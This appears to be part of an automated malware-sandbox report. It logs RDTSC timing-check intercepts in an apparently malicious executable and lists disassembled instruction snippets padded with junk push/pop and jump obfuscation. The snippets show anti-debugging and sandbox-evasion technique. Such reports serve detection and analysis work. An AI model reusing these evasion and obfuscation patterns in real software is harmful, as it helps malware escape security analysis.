Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 321C83 second address: 321CC0 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8080FFFC56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F8080FFFC60h 0x0000000f pushad 0x00000010 jl 00007F8080FFFC56h 0x00000016 jmp 00007F8080FFFC5Ch 0x0000001b jc 00007F8080FFFC56h 0x00000021 jl 00007F8080FFFC56h 0x00000027 popad 0x00000028 pushad 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 321CC0 second address: 321CD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8080B8A780h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 327DA9 second address: 327DC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jmp 00007F8080FFFC63h 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 327DC6 second address: 327DCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 328908 second address: 328919 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080FFFC5Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 328919 second address: 32892A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F8080B8A776h 0x00000009 jne 00007F8080B8A776h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 328BE0 second address: 328BE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 328BE4 second address: 328C01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 pushad 0x00000008 jmp 00007F8080B8A781h 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 328C01 second address: 328C05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 32CA0A second address: 32CA38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 jl 00007F8080B8A77Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F8080B8A77Fh 0x00000014 jnc 00007F8080B8A778h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 32D3D7 second address: 32D3EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F8080FFFC5Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 32D3EA second address: 32D3F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F8080B8A776h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 32D532 second address: 32D557 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jmp 00007F8080FFFC61h 0x0000000e jnp 00007F8080FFFC58h 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 32D557 second address: 32D578 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 jnc 00007F8080B8A776h 0x0000000e popad 0x0000000f popad 0x00000010 pushad 0x00000011 push ebx 0x00000012 push edx 0x00000013 pop edx 0x00000014 pushad 0x00000015 popad 0x00000016 pop ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 jbe 00007F8080B8A776h 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 331D36 second address: 331D3E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 33871F second address: 338745 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080B8A785h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a jmp 00007F8080B8A77Ah 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 338745 second address: 338750 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 338CB8 second address: 338CC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 338CC3 second address: 338CC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 338CC9 second address: 338CCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 338CCD second address: 338CF1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jno 00007F8080FFFC56h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jno 00007F8080FFFC68h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 338CF1 second address: 338CF6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 338CF6 second address: 338CFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 338CFC second address: 338D02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 338E79 second address: 338EC4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080FFFC5Fh 0x00000007 jmp 00007F8080FFFC5Eh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jmp 00007F8080FFFC63h 0x00000014 jmp 00007F8080FFFC65h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 338FDC second address: 338FE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push esi 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 34092F second address: 340935 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 340935 second address: 340943 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F8080B8A778h 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 340943 second address: 34095C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007F8080FFFC63h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2837F4 second address: 2837F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2837F9 second address: 28382F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8080FFFC67h 0x00000008 jmp 00007F8080FFFC67h 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 340372 second address: 34037D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F8080B8A776h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 34037D second address: 3403A4 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F8080FFFC58h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a jmp 00007F8080FFFC61h 0x0000000f pop edx 0x00000010 pop eax 0x00000011 jnp 00007F8080FFFC64h 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 34A221 second address: 34A225 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 34D163 second address: 34D198 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push ecx 0x00000010 jmp 00007F8080FFFC5Ah 0x00000015 jmp 00007F8080FFFC65h 0x0000001a pop ecx 0x0000001b pushad 0x0000001c pushad 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 34D198 second address: 34D1AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 push esi 0x0000000a jno 00007F8080B8A776h 0x00000010 pop esi 0x00000011 push eax 0x00000012 push edx 0x00000013 push edi 0x00000014 pop edi 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 34D1AF second address: 34D1B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 35606A second address: 356089 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8080B8A787h 0x00000009 pop esi 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 356089 second address: 356090 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop esi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 356090 second address: 3560AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8080B8A788h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 3560AC second address: 35610B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F8080FFFC66h 0x0000000c jmp 00007F8080FFFC5Eh 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 pop edx 0x00000014 pop eax 0x00000015 jo 00007F8080FFFC96h 0x0000001b jmp 00007F8080FFFC62h 0x00000020 pushad 0x00000021 jmp 00007F8080FFFC63h 0x00000026 jmp 00007F8080FFFC63h 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 29121D second address: 29122F instructions: 0x00000000 rdtsc 0x00000002 jns 00007F8080B8A776h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edi 0x0000000c pop edi 0x0000000d push edx 0x0000000e pop edx 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 29122F second address: 29123B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 jp 00007F8080FFFC56h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 355C37 second address: 355C4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8080B8A781h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 35A5EB second address: 35A606 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8080FFFC67h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 28538C second address: 2853A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jno 00007F8080B8A776h 0x0000000d jnl 00007F8080B8A776h 0x00000013 pop edx 0x00000014 popad 0x00000015 push edi 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2853A6 second address: 2853B0 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F8080FFFC56h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2853B0 second address: 2853BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 36CD25 second address: 36CD2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 36CD2B second address: 36CD3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 jp 00007F8080B8A776h 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 36B644 second address: 36B65C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080FFFC64h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 36B65C second address: 36B666 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 36B666 second address: 36B66C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 36BC39 second address: 36BC5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 jmp 00007F8080B8A784h 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 36BC5B second address: 36BC66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 36BC66 second address: 36BC87 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080B8A786h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b pop eax 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 36C089 second address: 36C09A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnc 00007F8080FFFC5Ch 0x0000000b rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 36C09A second address: 36C0A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 382468 second address: 38246D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 385007 second address: 385032 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8080B8A787h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jno 00007F8080B8A776h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 385032 second address: 385036 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 385036 second address: 38503A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 38503A second address: 385040 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 385040 second address: 385046 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 37E40E second address: 37E419 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 37E419 second address: 37E428 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jl 00007F8080B8A776h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 392EB0 second address: 392EBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F8080FFFC56h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 392EBC second address: 392EDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b push ebx 0x0000000c jmp 00007F8080B8A781h 0x00000011 pop ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 push esi 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 3A866C second address: 3A867C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080FFFC5Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 3ABC19 second address: 3ABC63 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F8080B8A784h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f ja 00007F8080B8A776h 0x00000015 jmp 00007F8080B8A77Ch 0x0000001a jg 00007F8080B8A776h 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 jnp 00007F8080B8A776h 0x00000029 jmp 00007F8080B8A77Bh 0x0000002e rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 3ABC63 second address: 3ABC80 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080FFFC69h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 3ABC80 second address: 3ABC96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8080B8A780h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 3ABC96 second address: 3ABCA0 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F8080FFFC56h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 3ABCA0 second address: 3ABCC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F8080B8A784h 0x0000000d jmp 00007F8080B8A77Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 3AC25C second address: 3AC293 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 jmp 00007F8080FFFC64h 0x0000000b pushad 0x0000000c popad 0x0000000d pop ebx 0x0000000e push edi 0x0000000f pushad 0x00000010 popad 0x00000011 jns 00007F8080FFFC56h 0x00000017 pop edi 0x00000018 popad 0x00000019 jnp 00007F8080FFFC72h 0x0000001f pushad 0x00000020 jnc 00007F8080FFFC56h 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 3AC78D second address: 3AC793 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 3AE38C second address: 3AE3AD instructions: 0x00000000 rdtsc 0x00000002 jl 00007F8080FFFC56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F8080FFFC67h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 3B0D13 second address: 3B0D18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 3B0F67 second address: 3B0F94 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080FFFC5Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnc 00007F8080FFFC62h 0x0000000f popad 0x00000010 push eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 jne 00007F8080FFFC56h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 3B0F94 second address: 3B0FA2 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F8080B8A776h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 3B102D second address: 3B1078 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jl 00007F8080FFFC56h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e nop 0x0000000f mov dword ptr [ebp+122D1C59h], edx 0x00000015 push 00000004h 0x00000017 call 00007F8080FFFC60h 0x0000001c xor dx, 34CBh 0x00000021 pop edx 0x00000022 call 00007F8080FFFC59h 0x00000027 push esi 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F8080FFFC62h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 3B1078 second address: 3B1098 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push esi 0x00000009 pushad 0x0000000a jmp 00007F8080B8A784h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 3B1098 second address: 3B10AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jl 00007F8080FFFC60h 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 3B10AB second address: 3B10B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 push esi 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
